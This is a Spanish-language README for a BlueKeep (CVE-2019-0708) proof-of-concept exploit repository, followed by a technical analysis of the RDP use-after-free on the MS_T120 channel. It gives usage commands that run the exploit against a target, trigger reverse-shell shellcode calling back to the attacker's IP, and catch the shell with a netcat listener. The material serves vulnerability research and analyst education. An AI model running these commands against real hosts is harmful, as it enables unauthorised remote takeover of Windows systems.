ricseclab/cve-2019-0708CVE-2019-0708 (BlueKeep) prueba de concepto que permite RCE pre-autenticación en Windows7
Este repositorio demuestra el fallo de ejecución remota de código en los Servicios de Escritorio Remoto (RDS) de Windows.
Aquí hay un código POC y un informe técnico sobre la vulnerabilidad BlueKeep, que desarrollamos anteriormente.
NOTA: Nuestro objetivo es ayudar a los analistas a comprender mejor las vulnerabilidades críticas.
Nuestro código de exploit está escrito en Python 3 y depende de la biblioteca PyRDP. Configurelo siguiendo la guía de instalación de PyRDP.
Actualmente nuestro exploit apunta y ha sido probado en Windows 7 SP 1 (6.1.7601) x64 en Virtual Box.
Si su computadora tiene la dirección IP 192.168.56.1 y ataca al servidor RDP en example.com:1234, entonces escriba
$ python exploit.py example.com -rp 1234 192.168.56.1
Si el script explota exitosamente el servidor, un shellcode de conexión inversa inicia una conexión TCP desde el servidor de vuelta a 192.168.56.1:4444. Por lo tanto, por ejemplo, debe esperar la conexión con netcat:
$ nc -v -l 4444
Si desea cambiar el número de puerto al que el servidor se conecta de vuelta, use la opción -bp:
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567
En mayo de 2019, Microsoft reveló una vulnerabilidad crítica de ejecución remota de código CVE-2019-0708, en los Servicios de Escritorio Remoto (anteriormente conocidos como Servicios de Terminal). Esta vulnerabilidad es pre-autenticación — lo que significa que la vulnerabilidad es propagable, con el potencial de causar una interrupción generalizada. Un atacante puede explotar esta vulnerabilidad enviando mensajes del Protocolo de Escritorio Remoto (RDP) manipulados al servidor objetivo y obtener ejecución de código arbitrario con privilegios administrativos.
Los Servicios de Escritorio Remoto de Microsoft proporcionan a un usuario sesiones interactivas de Windows de forma remota. Presentan el escritorio de Windows del usuario comunicándose con el cliente mediante el Protocolo de Escritorio Remoto (RDP) a través del puerto 3389/TCP.
El protocolo RDP tiene la capacidad de ser mejorado mediante extensiones de software llamadas Canal Virtual. Ejemplos de mejoras funcionales podrían incluir: soporte para tipos especiales de hardware, audio u otras adiciones a la funcionalidad principal.
Estos canales incluyen canales estándar proporcionados por Microsoft como "rdpdr" (Redirección), "rdpsnd" (Sonido), "cliprdr" (Compartir portapapeles), etc. Los usuarios pueden escribir módulos usando la API de RDP para admitir otros canales. Además de los canales anteriores, Microsoft crea dos canales por defecto: MS_T120 (usado para el propio RDP) y CTXTW (usado en Citrix ICA).
La vulnerabilidad está relacionada con el proceso de enlace de canales virtuales de MS_T120 a través de la solicitud "MCS Connect Initial and GCC Create".
Hay más información de fondo disponible en ZDI.
Como se mencionó en el artículo de ZDI, todos los canales virtuales solicitados por el cliente se crean usando termdd!IcaCreateChannel(). Luego, los punteros a estas estructuras de canal se almacenan en una tabla, que llamaremos ChannelPointerTable.
Cuando se establece una conexión con el cliente RDP, todos los canales virtuales estáticos, incluido MS_T120, son inicializados internamente por el servidor RDP de Windows y apuntados por ChannelPointerTable.
La consulta para crear MS_T120 y CTXTW es emitida por rdpcore!WDLIB_IcaVirtualQueryBindings().
Fig. 1: Generación de la consulta para crear MS_T120 y CTXTW
Después de que la consulta se pasa a termdd!IcaBindVirtualChannels(), se crea una estructura de canal virtual en termdd!IcaAllocateChannel() y se registra en ChannelPointerTable.
Fig. 2: Creación y registro de la estructura de canal virtual
La rutina de función termdd!IcaBindChannel() es responsable de registrar una estructura de canal virtual en ChannelPointerTable.
Aquí está el seguimiento de pila en Windows 7 x64, cuando termdd!IcaBindChannel() es llamada con el primer argumento "MS_T120" y el tercer argumento 0x1f.
Fig. 3: MS_T1209 está enlazado al slot 0x1f durante la solicitud inicial
Entonces ChannelPointerTable se ve de la siguiente manera. Nótese que MS_T120 siempre está presente en el Slot 0x1F.
Fig. 4: ChannelPointerTable durante la solicitud inicial
Existe una vulnerabilidad de use-after-free en el controlador del kernel de RDP de Windows, termdd.sys.
Un problema es que cuando el cliente especifica un canal con el nombre MS_T120\x00 durante "MCS Connect Initial and GCC Create", termdd!IcaCreateChannel() llama a termdd!IcaFindChannelByName() y devuelve la
estructura existente del canal MS_T120 en el Slot 0x1F. Luego, esta estructura de canal se considera como una nueva entrada de canal virtual y se almacena en otro Slot (en este ejemplo, Slot 2) durante "MCS Attach User Request".
Aquí está el seguimiento de pila en Windows 7 x64, cuando termdd!IcaBindChannel() es llamada con el primer argumento "MS_T120" y el tercer argumento 0x2.
Fig. 5: MS_T1209 también está enlazado al slot 0x2 durante la solicitud de adjuntar
En otras palabras, la estructura del canal MS_T120 es apuntada por dos slots 0x1F y 0x2.
Fig. 6: ChannelPointerTable durante la solicitud de adjuntar